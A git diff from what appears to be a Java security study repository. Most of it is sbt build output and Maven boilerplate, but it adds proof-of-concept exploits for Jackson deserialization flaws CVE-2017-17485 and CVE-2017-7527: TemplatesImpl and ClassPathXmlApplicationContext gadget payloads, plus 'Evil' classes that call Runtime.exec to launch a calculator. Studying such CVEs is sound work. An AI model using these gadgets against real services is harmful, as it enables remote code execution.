/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.jline","name":"jline","revision":"3.21.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jline","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-sources.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-sources.jar"],[{"name":"jline","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-javadoc.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[],"callers":[]},{"module":{"organization":"net.java.dev.jna","name":"jna","revision":"5.9.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jna","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-sources.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-sources.jar"],[{"name":"jna","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-javadoc.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://github.com/java-native-access/jna","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["LGPL-2.1-or-later","https://www.gnu.org/licenses/old-licenses/lgpl-2.1"],["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0.txt"]],"callers":[]}],"details":[]},{"configuration":{"name":"sources"},"modules":[],"details":[]},{"configuration":{"name":"test"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"test-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]}],"stats":{"resolveTime":-1,"downloadTime":-1,"downloadSize":-1,"cached":false},"stamps":{}} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/externalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/compile/externalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/managedClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/compile/managedClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/scalacOptions/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/compile/scalacOptions/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedJars/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedJars/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/externalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/externalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/managedClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/managedClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedJars/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedJars/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/externalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/test/externalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/managedClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/test/managedClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedJars/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedJars/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/Jackson/CVE-2017-17485/.gitignore b/JavaSecurity/Jackson/CVE-2017-17485/.gitignore new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-17485/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/Jackson/CVE-2017-17485/pom.xml b/JavaSecurity/Jackson/CVE-2017-17485/pom.xml new file mode 100644 index 00000000..3de5eb1b --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-17485/pom.xml @@ -0,0 +1,53 @@ + + 4.0.0 + org.example + CVE-2017-17485 + 1.0-SNAPSHOT + Archetype - CVE-2017-17485 + http://maven.apache.org + + + com.fasterxml.jackson.core + jackson-databind + 2.7.9.2 + + + com.fasterxml.jackson.core + jackson-core + 2.7.9 + + + com.fasterxml.jackson.core + jackson-annotations + 2.7.9 + + + org.springframework + spring-context + 5.0.2.RELEASE + + + org.springframework + spring-beans + 5.0.2.RELEASE + + + org.springframework + spring-core + 5.0.2.RELEASE + + + org.springframework + spring-expression + 5.0.2.RELEASE + + + commons-logging + commons-logging + 1.2 + + + + + diff --git a/JavaSecurity/Jackson/CVE-2017-17485/spel.xml b/JavaSecurity/Jackson/CVE-2017-17485/spel.xml new file mode 100644 index 00000000..5a086505 --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-17485/spel.xml @@ -0,0 +1,9 @@ + + + + + + \ No newline at end of file diff --git a/JavaSecurity/Jackson/CVE-2017-17485/src/main/java/com/drunkbaby/PoC.java b/JavaSecurity/Jackson/CVE-2017-17485/src/main/java/com/drunkbaby/PoC.java new file mode 100644 index 00000000..1f4169e6 --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-17485/src/main/java/com/drunkbaby/PoC.java @@ -0,0 +1,19 @@ +package com.drunkbaby; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import java.io.IOException; + +public class PoC { + public static void main(String[] args) { + //CVE-2017-17485 + String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:8888/spel.xml\"]"; + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); + try { + mapper.readValue(payload, Object.class); + } catch (IOException e) { + e.printStackTrace(); + } + } +} diff --git a/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/META-INF/maven/archetype.xml b/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/META-INF/maven/archetype.xml new file mode 100644 index 00000000..346e4393 --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/META-INF/maven/archetype.xml @@ -0,0 +1,9 @@ + + CVE-2017-17485 + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git a/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/archetype-resources/pom.xml b/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/archetype-resources/pom.xml new file mode 100644 index 00000000..8977217d --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/archetype-resources/pom.xml @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $CVE-2017-17485 + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git a/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/archetype-resources/src/main/java/App.java b/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/archetype-resources/src/main/java/App.java new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/archetype-resources/src/main/java/App.java @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git a/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/archetype-resources/src/test/java/AppTest.java b/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/archetype-resources/src/test/java/AppTest.java new file mode 100644 index 00000000..65be417e --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-17485/src/main/resources/archetype-resources/src/test/java/AppTest.java @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git a/JavaSecurity/Jackson/CVE-2017-7527/.gitignore b/JavaSecurity/Jackson/CVE-2017-7527/.gitignore new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-7527/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/Jackson/CVE-2017-7527/pom.xml b/JavaSecurity/Jackson/CVE-2017-7527/pom.xml new file mode 100644 index 00000000..50af1c72 --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-7527/pom.xml @@ -0,0 +1,42 @@ + + 4.0.0 + org.example + CVE-2017-7527 + 1.0-SNAPSHOT + Archetype - CVE-2017-7527 + http://maven.apache.org + + + com.fasterxml.jackson.core + jackson-databind + 2.7.9 + + + com.fasterxml.jackson.core + jackson-core + 2.7.9 + + + com.fasterxml.jackson.core + jackson-annotations + 2.7.9 + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.6.1 + + 1.7 + 1.7 + ${file.encoding} + + + + + diff --git a/JavaSecurity/Jackson/CVE-2017-7527/src/main/java/com/drunkbaby/PoC.java b/JavaSecurity/Jackson/CVE-2017-7527/src/main/java/com/drunkbaby/PoC.java new file mode 100644 index 00000000..4af97e02 --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-7527/src/main/java/com/drunkbaby/PoC.java @@ -0,0 +1,44 @@ +package com.drunkbaby; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import javax.xml.bind.DatatypeConverter; +import java.io.FileInputStream; +import java.io.*; + +public class PoC { + public static void main(String[] args) throws Exception { + String exp = readClassStr("E:\\evilClass\\SimpleCalc.class"); + String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + + "{\n" + + "'transletBytecodes':['"+exp+"'],\n" + + "'transletName':'drun1baby',\n" + + "'outputProperties':{}\n" + + "}\n" + + "]\n" + + "}"); + System.out.printf(jsonInput); + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); + Test test; + try { + test = mapper.readValue(jsonInput, Test.class); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static String aposToQuotes(String json){ + return json.replace("'","\""); + } + + public static String readClassStr(String cls) throws Exception{ + + File file = new File(cls); + FileInputStream fileInputStream = new FileInputStream(file); + byte[] bytes = new byte[(int) file.length()]; + fileInputStream.read(bytes); + String base64Encoded = DatatypeConverter.printBase64Binary(bytes); + return base64Encoded; + } +} diff --git a/JavaSecurity/Jackson/CVE-2017-7527/src/main/java/com/drunkbaby/SimpleCalc.java b/JavaSecurity/Jackson/CVE-2017-7527/src/main/java/com/drunkbaby/SimpleCalc.java new file mode 100644 index 00000000..10d201cd --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-7527/src/main/java/com/drunkbaby/SimpleCalc.java @@ -0,0 +1,25 @@ +package com.drunkbaby; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +public class SimpleCalc extends AbstractTranslet { + public SimpleCalc() throws Exception { + Runtime.getRuntime().exec("Calc"); + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } + + +} \ No newline at end of file diff --git a/JavaSecurity/Jackson/CVE-2017-7527/src/main/java/com/drunkbaby/Test.java b/JavaSecurity/Jackson/CVE-2017-7527/src/main/java/com/drunkbaby/Test.java new file mode 100644 index 00000000..b530f020 --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-7527/src/main/java/com/drunkbaby/Test.java @@ -0,0 +1,5 @@ +package com.drunkbaby; + +public class Test { + public Object object; +} diff --git a/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/META-INF/maven/archetype.xml b/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/META-INF/maven/archetype.xml new file mode 100644 index 00000000..78b96846 --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/META-INF/maven/archetype.xml @@ -0,0 +1,9 @@ + + CVE-2017-7527 + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git a/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/archetype-resources/pom.xml b/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/archetype-resources/pom.xml new file mode 100644 index 00000000..cda42d7c --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/archetype-resources/pom.xml @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $CVE-2017-7527 + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git a/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/archetype-resources/src/main/java/App.java b/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/archetype-resources/src/main/java/App.java new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/archetype-resources/src/main/java/App.java @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git a/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/archetype-resources/src/test/java/AppTest.java b/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/archetype-resources/src/test/java/AppTest.java new file mode 100644 index 00000000..65be417e --- /dev/null +++ b/JavaSecurity/Jackson/CVE-2017-7527/src/main/resources/archetype-resources/src/test/java/AppTest.java @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/pom.xml b/JavaSecurity/Jackson/JacksonBasic/pom.xml index f9938d39..962dfab5 100644 --- a/JavaSecurity/Jackson/JacksonBasic/pom.xml +++ b/JavaSecurity/Jackson/JacksonBasic/pom.xml @@ -24,4 +24,16 @@ + + + + org.apache.maven.plugins + maven-compiler-plugin + + 6 + 6 + + + + diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Hacker.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Hacker.java index 207aa75a..339cc040 100644 --- a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Hacker.java +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Hacker.java @@ -1,4 +1,5 @@ package com.drunkbaby; public class Hacker { + public String skill = "hiphop"; } diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/DeserializationObjectRun.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/DeserializationObjectRun.java new file mode 100644 index 00000000..f2972108 --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/DeserializationObjectRun.java @@ -0,0 +1,17 @@ +package com.drunkbaby.JacksonVul; + +import com.drunkbaby.Person4; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class DeserializationObjectRun { + + public static void main(String[] args) throws Exception { + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); + + String json = "{\"age\":6,\"name\":\"drunkbaby\",\"object\":[\"com.drunkbaby.JacksonVul.Evil\",{\"cmd\":\"calc\"}]}"; + Person4 p2 = mapper.readValue(json, Person4.class); + System.out.println(p2); + + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/DeserializationRun.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/DeserializationRun.java new file mode 100644 index 00000000..ff937f9c --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/DeserializationRun.java @@ -0,0 +1,17 @@ +package com.drunkbaby.JacksonVul; + +import com.drunkbaby.Person3; +import com.fasterxml.jackson.databind.ObjectMapper; + +// 反序列化代码 +public class DeserializationRun { + public static void main(String[] args) throws Exception { + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); + + String json = "{\"age\":6,\"name\":\"drunkbaby\",\"sex\":[\"com.drunkbaby.JacksonVul.EvilSex\",{\"sex\":1}]}"; + Person3 p2 = mapper.readValue(json, Person3.class); + System.out.println(p2); + + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/Evil.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/Evil.java new file mode 100644 index 00000000..836b7f1a --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/Evil.java @@ -0,0 +1,14 @@ +package com.drunkbaby.JacksonVul; + +public class Evil { + String cmd; + + public void setCmd(String cmd) { + this.cmd = cmd; + try { + Runtime.getRuntime().exec(this.cmd); + } catch (Exception e) { + e.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/EvilSex.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/EvilSex.java new file mode 100644 index 00000000..d94577fc --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JacksonVul/EvilSex.java @@ -0,0 +1,27 @@ +package com.drunkbaby.JacksonVul; + +import com.drunkbaby.defaultTyping.object_and_non_concrete.Sex; + +public class EvilSex implements Sex { + int sex; + public EvilSex() { + System.out.println("MySex构造函数"); + } + + @Override + public int getSex() { + System.out.println("MySex.getSex"); + return sex; + } + + @Override + public void setSex(int sex) { + System.out.println("MySex.setSex"); + this.sex = sex; + try { + Runtime.getRuntime().exec("calc"); + } catch (Exception e) { + e.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JsonTypeInfo/JsonTypeInfo_Id/JsonTypeInfo_Id_Test.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JsonTypeInfo/JsonTypeInfo_Id/JsonTypeInfo_Id_Test.java new file mode 100644 index 00000000..718b6f42 --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/JsonTypeInfo/JsonTypeInfo_Id/JsonTypeInfo_Id_Test.java @@ -0,0 +1,21 @@ +package com.drunkbaby.JsonTypeInfo.JsonTypeInfo_Id; + +import com.drunkbaby.Hacker; +import com.drunkbaby.Person2; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class JsonTypeInfo_Id_Test { + public static void main(String[] args) throws Exception { + Person2 p = new Person2(); + p.age = 6; + p.name = "drunkbaby"; + 